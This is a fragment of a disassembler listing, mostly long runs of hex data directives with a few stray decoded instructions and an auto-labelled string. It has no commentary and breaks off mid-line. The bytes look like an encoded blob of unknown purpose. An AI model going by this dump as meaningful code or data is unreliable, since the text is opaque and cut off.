0C365CD65h, 0E265F265h dd 92659B65h, 0B8658265h, 0B765B165h, 4965A765h, 73664066h dd 16666466h, 33663D66h, 0CC662D66h, 9966F266h, 0B2669666h dd 0A666AF66h, 64676F66h, 3E670867h, 0DF672A67h, 0C267CC67h dd 0E967FF67h, 94679D67h, 0BC678067h, 0A367AD67h, 58085867h dd 585A3458h, 79684A58h, 0C686F68h, 0F6682968h, 87689A68h dd 76697068h, 1A696F69h, 0D691169h, 3C690769h, 0DD692A69h dd 0C369C969h, 0E069F469h, 8E699C69h, 0B0698769h, 0A569AE69h dd 4B6A5169h, 7E6A796Ah, 3F6A746Ah, 2F6A356Ah, 0C36ACD6Ah dd 926AEC6Ah, 0A86ABE6Ah, 596AAF6Ah, 4E6B506Bh, 7E6B446Bh dd 626B746Bh, 3D6B186Bh, 0D96B226Bh, 0FE6BC16Bh, 0E86BF36Bh dd 986BE16Bh, 8A6B956Bh, 0BF6B8F6Bh, 0A46BB46Bh, 496C596Bh dd 7E6C4E6Ch, 636C736Ch, 86C186Ch, 3D6C0D6Ch, 226C326Ch dd 0D76C276Ch, 0FC6CCC6Ch, 0E16CF16Ch, 966CE66Ch, 0BB6C8B6Ch dd 0A36CB06Ch, 436D4D6Ch, 696D7C6Dh, 196D6F6Dh, 26D0D6Dh dd 0DC6D356Dh, 0E46DD36Dh, 0B46D916Dh, 0A46DAA6Dh, 526E5B6Dh dd 456E4E6Eh, 6F6E736Eh, 1F6E656Eh, 336E3D6Eh, 0C06ED26Eh dd 9E6EC66Eh, 846E8E6Eh, 5E6EA96Eh, 7E6F4C6Fh, 196F636Fh dd 0FC6F0A6Fh, 0E16FEC6Fh, 966F916Fh, 0BB6F866Fh, 0A06FAB6Fh dd 5560506Fh, 7A604560h, 6F606A60h, 14601F60h, 39600460h dd 2E602960h, 0D360DE60h, 0F860C360h, 0ED60E860h, 92609D60h dd 87608260h, 0AC60B760h, 51615C60h, 46614161h, 6B617661h dd 10611B61h, 5610061h, 2A613561h, 0DF61DA61h, 0C461CF61h dd 0E961F461h, 9E619961h, 83618E61h, 0A861B361h, 5D625861h dd 42624D62h, 77627262h, 1C626762h, 1620C62h, 36623162h dd 0DB622662h, 0C062CB62h, 0F562F062h, 9A62E562h, 8F628A62h dd 0B462BF62h, 5962A462h, 4E634963h, 73637E63h, 18636363h dd 0D630863h, 32633D63h, 27632263h, 0CC63D763h, 0E063F263h dd 9063E663h, 80638A63h, 0B363B963h, 0A263AA63h, 54645F63h dd 42644964h, 76647964h, 60646B64h, 13641D64h, 2E640864h dd 8964C864h, 86648064h, 7A64BC64h, 62657F65h, 0D8651C65h dd 8D659765h, 0B6658665h, 53665B65h, 44664E66h, 0B667E66h dd 27660166h, 0FB66C266h, 0E866F166h, 0E566E066h, 89669D66h dd 0BE668366h, 0A066A966h, 40674A66h, 75674667h, 1C676D67h dd 0C671267h, 31673B67h, 0DA672D67h, 0FC67D167h, 0EC67F267h dd 90679A67h, 0BA678D67h, 0AA67B167h, 5867A167h, 58385858h dd 585A5058h, 51685B58h, 7B684368h, 63686968h, 0C681F68h dd 2C683668h, 0F968DB68h, 0E468EC68h, 80689C68h, 0A0688668h dd 50695868h, 47695769h, 2B696769h, 0D5692169h, 0C569CD69h dd 0ED69F269h, 9F699869h, 0B3698069h, 426A4A69h, 66A1A6Ah dd 266A326Ah, 0CA6ADB6Ah, 0EE6AC26Ah, 936A9A6Ah, 0B26A826Ah dd 0A66AB76Ah, 7E6B786Ah, 86B6C6Bh, 376B326Bh, 0F36B266Bh dd 9C6BEA6Bh, 0B96B8B6Bh, 5E6BA56Bh, 666C776Ch, 0EC6C306Ch dd 806CE36Ch, 576D516Ch, 6B6D786Dh, 0F6D1C6Dh, 216D306Dh dd 0F86DC26Dh, 0E86DF16Dh, 906DE56Dh, 0B06D866Dh, 0A26DAB6Dh dd 566E516Dh, 7E6E436Eh, 656E756Eh, 116E1A6Eh, 316E046Eh dd 236E2D6Eh, 0D66ED16Eh, 0F36EC76Eh, 9A6EEA6Eh, 8E6E916Eh dd 0B66EB06Eh, 566EA46Eh, 786F4F6Fh, 616F7F6Fh, 0B6F676Fh dd 326F026Fh, 0DC6F266Fh, 0F46FFE6Fh, 886F916Fh, 516F876Fh dd 42605760h, 73607860h, 65606F60h, 4600860h, 0D8603460h dd 0CD60DE60h, 0FE60C360h, 0E460F760h, 88609260h, 0B3608360h dd 5A60AD60h, 44615561h, 69617A61h, 1D616061h, 6610A61h dd 37613C61h, 0D9612061h, 0FC61C661h, 9D61E661h, 0B1618661h dd 40625261h, 6D627A62h, 4626362h, 36623D62h, 0D6622F62h dd 0F662CD62h, 9662ED62h, 0B6628D62h, 43634B62h, 10636963h dd 2630C63h, 2F633463h, 0D563D963h, 0EA63C763h, 81639663h dd 4E638763h, 69644564h, 17641E64h, 7640164h, 26642D64h dd 0C064D764h, 0EB64F264h, 9E64E464h, 86648A64h, 0A264BF64h dd 4B655164h, 3A657A65h, 0E4652765h, 0B5658865h, 2667465h dd 36663066h, 89662E66h, 87668166h, 0B766BD66h, 4866AD66h dd 75677C67h, 18676267h, 31671D67h, 0D067D967h, 0C367D667h dd 0F767FC67h, 8B67ED67h, 0BF678267h, 5867B567h, 58285858h dd 58598458h, 41685358h, 11687B68h, 2D681768h, 0B668EB68h dd 6568AD68h, 0CB690F69h, 0E169FE69h, 8E698869h, 0A969B369h dd 786A5E69h, 0E6A7F6Ah, 0C76AD46Ah, 0EF6AF46Ah, 8E6A9B6Ah dd 0A96AB36Ah, 5B6AAE6Ah, 566B516Bh, 796B436Bh, 6B6B7E6Bh dd 666B616Bh, 0DA6B246Bh, 0FF6BCB6Bh, 0E56BF56Bh, 8D6B9B6Bh dd 0AD6BB66Bh, 746C506Bh, 146C6A6Ch, 3A6C0A6Ch, 256C2F6Ch dd 0F76CF16Ch, 926C9B6Ch, 0BE6C866Ch, 1B6D636Ch, 0F6D156Dh dd 346D3E6Dh, 0DC6D2D6Dh, 0CE6DC86Dh, 0F36DFC6Dh, 9B6DE36Dh dd 0AE6DBA6Dh, 596DA36Dh, 466E5F6Eh, 636E6E6Eh, 0B6E166Eh dd 2D6E066Eh, 0E86EF36Eh, 936E9B6Eh, 5D6E896Eh, 456F526Fh dd 736F7D6Fh, 176F1A6Fh, 0C86F046Fh, 0F66FCE6Fh, 996FE06Fh dd 946F9E6Fh, 836F8E6Fh, 0A76FB16Fh, 4160576Fh, 1C607C60h dd 33600360h, 0CC602960h, 8A60EB60h, 10616760h, 35611661h dd 0F561D061h, 9E61E761h dd 86619661h, 7461A161h, 63626A62h, 13621A62h, 2D620662h dd 0D0622362h, 0CE62D762h, 9B62F662h, 0A1628C62h, 6F635862h dd 0D8632263h, 0F663CF63h, 84638E63h, 30645963h, 85643764h dd 0A664B664h, 44655564h, 72657C65h, 64656865h, 7650E65h dd 2E653165h, 0C865DB65h, 0F865C065h, 0E265FF65h, 97659A65h dd 87658065h, 0AA65B565h, 5B65A565h, 44664966h, 7F667966h dd 64666866h, 11661966h, 661766h, 35660766h, 24662B66h dd 0D266DC66h, 0C266CD66h, 0EA66FC66h, 9F669866h, 0B9668E66h dd 0B666BF66h, 5066A766h, 69674967h, 11676567h, 4671667h dd 2F673B67h, 0CD67D167h, 0F867C267h, 8C67E667h, 0A8678267h dd 5867AE67h, 58D85858h, 585A4858h, 50685A58h, 78685668h dd 1A686868h, 0DB681168h, 0FE68CB68h, 9D68E168h, 5168BB68h dd 7C694E69h, 6A697269h, 3B690469h, 0DB692069h, 0E969F369h dd 88699D69h, 0A569AF69h, 416A5169h, 716A796Ah, 126A686Ah dd 226A286Ah, 0CC6ADE6Ah, 0F26AFB6Ah, 806A8A6Ah, 0B36ABA6Ah dd 5B6AAC6Ah, 406B516Bh, 1C6B796Bh, 26B166Bh, 206B306Bh dd 0F26BC66Bh, 0E56BE86Bh, 886B9F6Bh, 0B56B836Bh, 4A6BAF6Bh dd 1A6C606Ch, 66C086Ch, 0C06C286Ch, 0F36CC76Ch, 986CEF6Ch dd 856C936Ch, 576D5B6Ch, 716D436Dh, 1C6D686Dh, 286D156Dh dd 0DB6D226Dh, 0C06DD66Dh, 0EC6DFA6Dh, 9A6DE46Dh, 5B6D856Dh dd 4B6E546Eh, 766E476Eh, 1E6E6C6Eh, 2A6E156Eh, 0DC6E236Eh dd 0C16ED26Eh, 0F66EC76Eh, 916E986Eh, 0AE6EB46Eh, 546F5A6Eh dd 746F426Fh, 26F6D6Fh, 346F396Fh, 266F2D6Fh, 0C96FD06Fh dd 0F66FC16Fh, 9D6FEC6Fh, 836F936Fh, 0A96FB96Fh, 55605F6Fh dd 76604A60h, 15606160h, 5600A60h, 0E5603060h, 85609B60h dd 5060A860h, 44615661h, 12611B61h, 20613561h, 95619E61h dd 40618D61h, 68627862h, 0B621562h, 26623C62h, 0D462DD62h dd 0CF62CA62h, 0F562FF62h, 9F62E262h, 85629562h, 0B162BB62h dd 0A762AD62h, 41635E62h, 73637E63h, 6F636863h, 11631A63h dd 3630E63h, 33633A63h, 27632A63h, 0D263DD63h, 0EE63FB63h dd 83638B63h, 0B763BF63h, 73644263h, 35646B64h, 0EE64F164h dd 9564E564h, 64B464h, 0DF652965h, 0FE65D565h, 9A65E465h dd 8D659765h, 0A965B165h, 4D665265h, 7F664666h, 660A66h dd 36660766h, 0DD662C66h, 0FF66D366h, 88669266h, 84668D66h dd 0AA66B466h, 5366A666h, 43674D67h, 74677E67h, 12676E67h dd 2670867h, 0D9673567h, 0F267FC67h, 0E567F767h, 97679B67h dd 0B9678367h, 0A967B367h, 5867A567h, 58C85858h, 585A1858h dd 41685D58h, 71684768h, 8686468h, 21682B68h, 0D5682668h dd 0EE68CB68h, 9768E568h, 7A694468h, 9469CD69h, 85698069h dd 0A069B569h, 486A5269h, 476A426Ah, 1C6A666Ah, 66A006Ah dd 236A306Ah, 0FB6AD76Ah, 0EE6AF16Ah, 8D6A976Ah, 0A86AB16Ah dd 506B5A6Ah, 616B466Bh, 0D6B676Bh, 2E6B286Bh, 0FF6BD46Bh dd 986BF56Bh, 0B96B836Bh, 0AB6BB16Bh, 786C416Bh, 186C636Ch dd 396C0B6Ch, 0D46CDC6Ch, 0E76CCB6Ch, 0BF6CB96Ch, 0A26CB46Ch dd 4F6D596Ch, 766D7B6Dh, 196D606Dh, 0A6D1F6Dh, 316D006Dh dd 216D2B6Dh, 0FD6DDC6Dh, 0E66DE06Dh, 0B86D806Dh, 0A96DB36Dh dd 5F6DA36Dh, 476E486Eh, 186E756Eh, 16E1F6Eh, 376E3D6Eh dd 0D66ED06Eh, 0EE6EC16Eh, 0A06E8E6Eh, 546F5A6Eh, 746F4B6Fh dd 16F6A6Fh, 2B6F316Fh, 0D86F216Fh, 0C26FD56Fh, 0EA6FFD6Fh dd 8D6FE06Fh, 0BF6FBA6Fh, 0AA6FB46Fh, 5A6FA36Fh, 4C605760h dd 7D604160h, 68607360h, 19606D60h, 14601F60h, 5600960h dd 30603B60h, 21603560h, 0DC602760h, 0CD60D160h, 0F860C360h dd 0EC60FD60h, 0E760E260h, 8C609F60h, 0B8608160h, 0A860B160h dd 5A60A560h, 4F615F61h, 74614461h, 19616961h, 0E611E61h dd 33610361h, 0D8612861h, 0CD61DD61h, 0F261C261h, 0E761F761h dd 8C619C61h, 0B1618161h, 0A661B661h, 4B625B61h, 70624062h dd 65627562h, 0A621A62h, 3F620F62h, 24623462h, 0C962D962h dd 0FE62CE62h, 0E362F362h, 88629862h, 0BD628D62h, 5862B262h dd 6F637163h, 0D631763h, 28633D63h, 0FA63CD63h, 8F638963h dd 0A163BB63h, 4C645F63h, 60647264h, 14646664h, 2B640A64h dd 0F564C764h, 9D64EB64h, 0BC649464h, 5364A964h, 69654965h dd 1A656F65h, 34653C65h, 0D1652465h, 0CE65C865h, 8965E265h dd 0B565BF65h, 55665965h, 79664A66h, 666B66h, 0F4663C66h dd 8866E066h, 0B0668266h, 0A166B666h, 56675866h, 72674467h dd 14676067h, 3B670B67h, 2D673167h, 0D1672367h, 0C667CC67h dd 0B067BB67h, 0A467B667h, 58F85867h, 585A2858h, 44684858h dd 66686168h, 39680E68h, 0DF682368h, 0EE68E968h, 96689168h dd 5E68B668h, 41694B69h, 76697F69h, 38690A69h, 22693E69h dd 0C469C869h, 0E569E869h, 8E699769h, 5769AB69h, 0C6A6D6Ah dd 346A3B6Ah, 0D96A2C6Ah, 0D36ADE6Ah, 0C36ACC6Ah, 0F56AF06Ah dd 0E76AEA6Ah, 926A9D6Ah, 536AA56Ah, 716B406Bh, 666B6E6Bh dd 296B3B6Bh, 0D96B2E6Bh, 0CA6BD46Bh, 9B6BE66Bh, 0B26B846Bh dd 5A6BA36Bh, 796C4B6Ch, 6B6C7E6Ch, 0A6C1A6Ch, 0C46CD26Ch dd 986CE86Ch, 0A76CA06Ch, 7F6D4E6Ch, 626D756Dh, 126D186Dh dd 26D0B6Dh, 366D306Dh, 256D2F6Dh, 0C96DD26Dh, 0C56DCF6Dh dd 0E86DF16Dh, 0E56DEF6Dh, 886D9B6Dh, 0BA6D8E6Dh, 0AA6DB46Dh dd 5E6DA36Dh, 406E546Eh, 7E6E476Eh, 606E746Eh, 1D6E676Eh dd 16E146Eh, 3F6E386Eh, 236E376Eh, 0D16EDA6Eh, 0C46ED76Eh dd 0F06EFA6Eh, 0E26EF66Eh, 9F6E996Eh, 8C6E966Eh, 0B06EBA6Eh dd 0A36EB66Eh, 5F6F596Eh, 476F4E6Fh, 746F7E6Fh, 646F6D6Fh dd 126F1B6Fh, 66F086Fh, 356F3C6Fh, 276F2B6Fh, 0E06FDE6Fh dd 856F986Fh, 0A46FAA6Fh, 5660516Fh, 69607B60h, 38600F60h dd 29603360h, 0D5602360h, 0C060CA60h, 0FB60C560h, 0F660F060h dd 0E060EB60h, 92609C60h, 0B9608360h, 0A960BE60h, 5760AF60h dd 43614D61h, 7E617861h, 69617361h, 18616E61h, 9611F61h dd 35610461h, 20612B61h, 0D561DA61h, 0FC61C661h, 0F761F261h dd 0E261ED61h, 9D619861h, 8C619261h, 0B2618661h, 0A061A861h dd 5B61A561h, 79624362h, 1A626062h, 620B62h, 33623D62h dd 0DC622662h, 0F462CB62h, 9D62E062h, 8B629362h, 0AA62B062h dd 4C62A262h, 11637863h, 0D8633C63h, 0F863DE63h, 0ED63F563h dd 96639C63h, 80638B63h, 0B0638763h, 0AD63B663h, 4E645163h dd 6E647A64h, 34646464h, 27642164h, 0FF64CB64h, 0E264F564h dd 0B9649464h, 6E64B464h, 3F651065h, 0D8652865h, 0CE65DF65h dd 0F165F965h, 97659E65h, 0BC658E65h, 0A165B665h, 10665465h dd 2661666h, 31663B66h, 0D3662566h, 0CF66C866h, 0F766F066h dd 9D66E466h, 8B669466h, 0BF66B966h, 0AF66A966h, 7C674F66h dd 3F670867h, 0C0672367h, 0A967F067h, 58E85867h, 58598058h dd 50685958h, 6D684768h, 0DF682668h, 0F068C468h, 0BB68EF68h dd 0A668B168h, 73694C68h, 66696F69h, 29690369h, 0CC692569h dd 0ED69F269h, 8D69E369h, 726A5469h, 196A6D6Ah, 396A1F6Ah dd 0C46A3F6Ah, 9E6AE26Ah, 846A946Ah, 586AAE6Ah, 406B576Bh dd 776B7F6Bh, 1A6B646Bh, 3A6B0F6Bh, 0DE6B316Bh, 0CF6BD66Bh dd 0F16BC56Bh, 926BE86Bh db 6Bh ; k db 88h, 6Bh, 82h db 6Bh ; k db 0BDh, 6Bh, 0A8h db 6Bh ; k db 59h, 6Ch, 5Fh db 6Ch ; l db 46h, 6Ch, 7Ch db 6Ch ; l db 76h, 6Ch, 63h db 6Ch ; l db 1Fh, 6Ch, 3Ch db 6Ch ; l db 36h, 6Ch, 25h db 6Ch ; l db 0DCh, 6Ch, 0D2h db 6Ch ; l db 0C7h, 6Ch, 0F4h db 6Ch ; l db 0EEh, 6Ch, 0E3h db 6Ch ; l db 99h, 6Ch, 85h db 6Ch ; l db 0BCh, 6Ch, 0A8h db 6Ch ; l db 0A2h, 6Ch, 58h db 6Dh ; m db 55h, 6Dh, 78h db 6Dh ; m db 71h, 6Dh, 60h db 6Dh ; m db 10h, 6Dh, 3Fh db 6Dh ; m db 35h, 6Dh, 20h db 6Dh ; m db 26h, 6Dh, 0D3h db 6Dh ; m db 0C9h, 6Dh, 0C0h db 6Dh ; m db 0FDh, 6Dh, 98h db 6Dh ; m db 0A7h, 6Dh, 4Eh db 6Eh ; n db 6Ch, 6Eh, 0DFh db 6Eh ; n db 0C8h, 6Eh, 0C5h db 6Eh ; n db 0FDh, 6Eh, 0E1h db 6Eh ; n db 0E6h, 6Eh, 94h db 6Eh ; n db 87h, 6Eh, 0BDh db 6Eh ; n db 0ABh, 6Eh, 5Eh db 6Fh ; o db 54h, 6Fh, 41h db 6Fh ; o db 7Bh, 6Fh, 77h db 6Fh ; o db 6Dh, 6Fh, 10h db 6Fh ; o db 0Ch, 6Fh, 5 db 6Fh ; o db 3Fh, 6Fh, 2Bh db 6Fh ; o db 24h, 6Fh, 0D0h db 6Fh ; o ; --------------------------------------------------------------------------- aad 6Fh retf ; --------------------------------------------------------------------------- db 6Fh ; o db 86h, 6Fh, 0B2h db 6Fh ; o db 0AEh, 6Fh, 5Bh db 60h ; ` db 52h, 60h, 41h db 60h ; ` db 7Dh, 60h, 74h db 60h ; ` db 62h, 60h, 18h db 60h ; ` db 13h, 60h, 3Ah db 60h ; ` db 3Fh, 60h, 35h db 60h ; ` db 24h, 60h, 0F8h db 60h ; ` db 0F4h, 60h, 0E3h db 60h ; ` db 92h, 60h, 8Eh db 60h ; ` db 0A9h, 60h, 58h db 61h ; a db 55h, 61h, 42h db 61h ; a db 74h, 61h, 6Ah db 61h ; a db 1Ch, 61h, 15h db 61h ; a db 1, 61h, 3Bh db 61h ; a db 0DFh, 61h, 0C4h db 61h ; a db 0F1h, 61h, 0E8h db 61h ; a db 0EEh, 61h, 9Eh db 61h ; a db 0BFh, 61h, 0A6h db 61h ; a db 5Ch, 62h, 71h db 62h ; b db 77h, 62h, 3Ch db 62h ; b db 0F2h, 62h, 0E8h db 62h ; b db 0E4h, 62h, 9Ah db 62h ; b db 0BAh, 62h, 0AFh db 62h ; b db 56h, 63h, 6Bh db 63h ; c db 61h, 63h, 6 db 63h ; c db 3Ch, 63h, 2Ch db 63h ; c db 22h, 63h, 0D2h db 63h ; c db 0CEh, 63h, 0F9h db 63h ; c db 0F5h, 63h, 0E2h db 63h ; c db 98h, 63h, 97h db 63h ; c db 8Dh, 63h, 0BAh db 63h ; c db 0B1h, 63h, 5Fh db 64h ; d db 49h, 64h, 45h db 64h ; d db 7Bh, 64h, 6Bh db 64h ; d db 61h, 64h, 3Ah db 64h ; d db 2Ah, 64h, 0DDh db 64h, 90h dw 0BC64h db 64h ; d db 0B2h, 64h, 4Ah db 65h ; e db 40h, 65h, 12h db 65h ; e db 8, 65h, 21h db 65h ; e db 0CAh, 65h, 0FEh db 65h ; e db 9Bh, 65h, 91h db 65h ; e db 83h, 65h, 5Dh db 66h ; f db 53h, 66h, 49h db 66h ; f db 3, 66h, 33h db 66h ; f db 0DCh, 66h, 0C0h db 66h ; f db 0FAh, 66h, 0F0h db 66h ; f db 0E5h, 66h, 8Ch db 66h ; f db 82h, 66h, 5Ah db 67h ; g db 50h, 67h, 65h db 67h ; g db 1Ah, 67h, 39h db 67h ; g db 36h, 67h, 2Fh db 67h ; g db 0DFh, 67h, 0E7h db 67h ; g db 9Dh, 67h, 0A9h db 67h ; g db 58h, 98h, 58h db 58h ; X db 0B0h, 59h, 58h db 58h ; X db 58h, 68h, 5Eh db 68h ; h db 45h, 68h, 1Bh db 68h ; h db 2Bh, 68h, 0C5h db 68h ; h db 0F0h, 68h, 0EDh db 68h ; h align 2 dw 0BB68h db 68h ; h db 0AAh, 68h, 0A0h db 68h ; h db 42h, 69h, 66h db 69h ; i db 38h, 69h, 31h db 69h ; i db 0D0h, 69h, 0C0h db 69h ; i db 0ECh, 69h, 0E2h db 69h ; i db 81h, 69h, 0BEh db 69h ; i db 0A3h, 69h, 59h db 6Ah ; j db 48h, 6Ah, 4Eh db 6Ah ; j db 74h, 2 dup(6Ah) db 6Ah ; j db 18h, 6Ah, 11h db 6Ah ; j db 2Dh, 6Ah, 0CCh db 6Ah ; j db 0C5h, 6Ah, 0FFh db 6Ah ; j db 0E9h, 6Ah, 9Ch db 6Ah ; j db 89h, 6Ah, 0BEh db 6Ah ; j db 0ACh, 6Ah, 1Ah db 6Bh ; k db 13h, 6Bh, 25h db 6Bh ; k db 0DCh, 6Bh, 0FBh db 6Bh ; k db 0E0h, 6Bh, 97h db 6Bh ; k db 8Dh, 6Bh, 0A2h db 6Bh ; k db 59h, 6Ch, 4Bh db 6Ch ; l db 7Eh, 6Ch, 74h db 6Ch ; l db 6Eh, 6Ch, 0D4h db 6Ch ; l ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0FF6Ch db 6Ch ; l db 0F5h, 6Ch, 9Ah db 6Ch ; l db 83h, 6Ch, 0B9h db 6Ch ; l db 0A2h, 6Ch, 72h db 6Dh ; m db 68h, 6Dh, 6Fh db 6Dh ; m db 33h, 6Dh, 28h db 6Dh ; m db 2Fh, 6Dh, 0E9h db 6Dh ; m db 96h, 6Dh, 8Ch db 6Dh ; m db 83h, 6Dh, 45h db 6Eh ; n db 7Ah, 6Eh, 63h db 6Eh ; n db 17h, 6Eh, 3Bh db 6Eh ; n db 30h, 6Eh, 23h db 6Eh ; n db 0D7h, 6Eh, 0BFh db 6Eh ; n db 0B5h, 6Eh, 0A1h db 6Eh ; n db 54h, 6Fh, 78h db 6Fh ; o db 7Dh, 6Fh, 60h db 6Fh ; o db 20h, 6Fh, 0DDh db 6Fh ; o db 0C9h, 6Fh, 96h db 6Fh ; o db 8Ch, 6Fh, 81h db 6Fh ; o db 58h, 60h, 4Eh db 60h ; ` db 44h, 60h, 72h db 60h ; ` db 6Dh, 60h, 1Bh db 60h ; ` db 13h, 60h, 33h db 60h ; ` db 2Ah, 60h, 0DFh db 60h ; ` align 2 dw 0C160h db 60h ; ` db 0C6h, 60h, 0FCh db 60h ; ` db 0F5h, 60h, 0ECh db 60h ; ` db 99h, 60h, 9Eh db 60h ; ` db 93h, 60h, 83h db 60h ; ` db 0B8h, 60h, 0A8h db 60h ; ` db 0ADh, 60h, 5Dh db 61h ; a db 52h, 61h, 42h db 61h ; a db 47h, 61h, 77h db 61h ; a db 6Ch, 61h, 1Ch db 61h ; a db 11h, 61h, 1 db 61h ; a db 6, 61h, 36h db 61h ; a db 2Bh, 61h, 0DBh db 61h ; a db 0D0h, 61h, 0C0h db 61h ; a db 0C5h, 61h, 0F5h db 61h ; a db 0EAh, 61h, 9Ah db 61h ; a db 9Fh, 61h, 8Fh db 61h ; a db 84h, 61h, 0B4h db 61h ; a db 0A9h, 61h, 5Ch db 62h ; b db 4Bh, 62h, 41h db 62h ; b db 0D7h, 62h, 0CEh db 62h ; b db 0ECh, 62h, 0E3h db 62h ; b db 8Fh, 62h, 0B6h db 62h ; b db 5Dh, 63h, 55h db 63h ; c db 4Fh, 63h, 6Bh db 63h ; c db 1Bh, 63h, 13h db 63h ; c db 3, 63h, 35h db 63h ; c db 0C9h, 63h, 0CFh db 63h ; c db 0C7h, 63h, 0ECh db 63h ; c db 9Dh, 63h, 92h db 63h ; c db 88h, 63h, 82h db 63h ; c db 0BBh, 63h, 0B5h db 63h ; c db 0AEh, 63h, 5Fh db 64h ; d db 55h, 64h, 45h db 64h ; d db 7Bh, 64h, 72h db 64h ; d db 6Ch, 64h, 66h db 64h ; d db 0Eh, 64h, 4 db 64h ; d db 3Eh, 64h, 2Bh db 64h ; d db 21h, 64h, 0DBh db 64h ; d db 0C8h, 64h, 0F2h db 64h ; d db 0E8h, 64h, 0E5h db 64h ; d db 9Fh, 64h, 8Bh db 64h ; d db 81h, 64h, 0BBh db 64h ; d db 0B3h, 64h, 0AAh db 64h ; d db 0A6h, 64h, 5Fh db 65h ; e db 48h, 65h, 4Fh db 65h ; e db 7Ch, 65h, 72h db 65h ; e db 68h, 65h, 6Eh db 65h ; e db 18h, 65h, 12h db 65h ; e db 9, 65h, 38h db 65h ; e db 32h, 65h, 0DCh db 65h ; e db 0D2h, 65h, 0F8h db 65h ; e ; --------------------------------------------------------------------------- jmp dword ptr [ebp-68h] ; --------------------------------------------------------------------------- db 65h ; e db 9Fh, 65h, 0B8h db 65h ; e db 0BFh, 65h, 58h db 66h ; f db 5Eh, 66h, 45h db 66h ; f db 72h, 66h, 77h db 66h ; f db 6Eh, 66h, 64h db 66h ; f db 1Bh, 66h, 8 db 66h ; f db 0Dh, 66h, 2 db 66h ; f db 38h, 66h, 31h db 66h ; f db 2Ah, 66h, 24h db 66h ; f db 0DAh, 66h, 0DFh db 66h ; f db 0C4h, 66h, 0EBh db 66h ; f db 9Eh, 66h, 86h db 66h ; f db 0A9h, 66h, 51h db 67h ; g db 57h, 67h, 3Ch db 67h ; g db 0DDh, 67h, 0D3h db 67h ; g db 0F3h, 67h, 0BAh db 67h ; g db 58h, 88h, 58h db 58h ; X db 74h, 5Ah, 58h db 58h ; X db 59h, 68h, 53h db 68h ; h db 6Eh, 68h, 64h db 68h ; h db 17h, 68h, 0D3h db 68h ; h db 0CDh, 68h, 89h db 68h ; h db 0B2h, 68h, 0A9h db 68h ; h db 0A7h, 68h, 54h db 69h ; i db 49h, 69h, 4Eh db 69h ; i db 7Eh, 69h, 73h db 69h ; i db 68h, 69h, 61h db 69h ; i db 1Ch, 69h, 15h db 69h ; i db 39h, 69h, 30h db 69h ; i db 36h, 69h, 24h db 69h ; i db 0DFh, 69h, 0D7h db 69h ; i db 0CFh, 69h, 0FEh db 69h ; i db 0ECh, 69h, 0E5h db 69h ; i db 9Eh, 69h, 97h db 69h ; i db 8Eh, 69h, 0B8h db 69h ; i db 0B5h, 69h, 0ABh db 69h ; i db 0A5h, 69h, 5Bh db 6Ah ; j db 52h, 6Ah, 49h db 6Ah ; j db 41h, 6Ah, 7Bh db 6Ah ; j db 72h, 6Ah, 68h db 6Ah ; j db 6Fh, 6Ah, 19h db 6Ah ; j db 1Fh, 6Ah, 3Ch db 6Ah ; j db 33h, 6Ah, 2Eh db 6Ah ; j db 27h, 6Ah, 0DEh db 6Ah ; j db 0C0h, 6Ah, 0E2h db 6Ah ; j db 98h, 6Ah, 88h db 6Ah ; j db 81h, 6Ah, 0B5h db 6Ah ; j db 0A0h, 6Ah, 0A7h db 6Ah ; j db 5, 6Bh, 0C5h db 6Bh ; k db 92h, 6Bh, 0B5h db 6Bh ; k db 0A0h, 6Bh, 4Bh db 6Ch ; l db 19h, 6Ch, 0C0h db 6Ch ; l db 0FCh, 6Ch, 0F2h db 6Ch ; l db 0E1h, 6Ch, 0E7h db 6Ch ; l db 9Dh, 6Ch, 51h db 6Dh ; m db 48h, 6Dh, 60h db 6Dh ; m db 66h, 6Dh, 2 db 6Dh ; m db 2Ah, 6Dh, 20h db 6Dh ; m db 0DEh, 6Dh, 0D5h db 6Dh ; m db 0CFh, 6Dh, 0C4h db 6Dh ; m db 0F9h, 6Dh, 0FEh db 6Dh ; m db 0F4h, 6Dh, 0EBh db 6Dh ; m db 0E1h, 6Dh, 90h db 6Dh ; m db 96h, 6Dh, 0BEh db 6Dh ; m db 0A1h, 6Dh, 0A7h db 6Dh ; m db 5Eh, 6Eh, 47h db 6Eh ; n db 73h, 6Eh, 6Dh db 6Eh ; n db 63h, 6Eh, 1Bh db 6Eh ; n db 10h, 6Eh, 16h db 6Eh ; n db 0Eh, 6Eh, 3 db 6Eh ; n db 0DAh, 6Eh, 0D5h db 6Eh ; n db 0C6h, 6Eh, 0F6h db 6Eh ; n db 0E4h, 6Eh, 9Dh db 6Eh ; n db 8Ah, 6Eh, 82h db 6Eh ; n db 0B6h, 6Eh, 0A0h db 6Eh ; n db 53h, 6Fh, 46h db 6Fh ; o db 7Eh, 6Fh, 60h db 6Fh ; o db 66h, 6Fh, 11h db 6Fh ; o db 7, 6Fh, 32h db 6Fh ; o db 29h, 6Fh, 0CAh db 6Fh ; o db 0C6h, 6Fh, 0EEh db 6Fh ; o db 8Fh, 6Fh, 0B1h db 6Fh ; o db 0A0h, 6Fh, 0A7h db 6Fh ; o db 53h, 60h, 49h db 60h ; ` db 4Fh, 60h, 78h db 60h ; ` db 7Dh, 60h, 77h db 60h ; ` db 14h, 60h, 0Dh db 60h ; ` db 38h, 60h, 3Eh db 60h ; ` db 28h, 60h, 2Dh db 60h ; ` db 0DBh, 60h, 0D2h db 60h ; ` db 0C9h, 60h, 0F1h db 60h ; ` db 0F7h, 60h, 0E0h aCNATakasaAfaA db '`–``±` `TaKasa`afa',0Ah db 'a',0 dw 3C61h db 61h ; a db 29h, 61h, 20h db 61h ; a db 0D6h, 61h, 0C6h db 61h ; a db 0FDh, 61h, 0E5h db 61h ; a db 8Bh, 61h, 81h db 61h ; a db 87h, 61h, 0BEh db 61h ; a db 0A1h, 61h, 0A7h db 61h ; a align 2 dw 662h db 62h ; b db 2Ch, 62h, 22h db 62h ; b db 0C8h, 62h, 0EFh db 62h ; b db 98h, 62h, 9Fh db 62h ; b db 83h, 62h, 0B1h db 62h ; b db 0A8h, 62h, 59h db 63h ; c db 53h, 63h, 4Dh db 63h ; c db 43h, 63h, 77h db 63h ; c db 18h, 63h, 12h db 63h ; c db 0Eh, 63h, 32h db 63h ; c db 2Fh, 63h, 0D5h db 63h ; c align 2 dw 0FA63h db 63h ; c db 0F0h, 63h, 0E1h db 63h ; c db 0E7h, 63h, 90h db 63h ; c db 8Eh, 63h, 84h db 63h ; c db 53h, 64h, 6Eh db 64h ; d ; --------------------------------------------------------------------------- push ss db 64h, 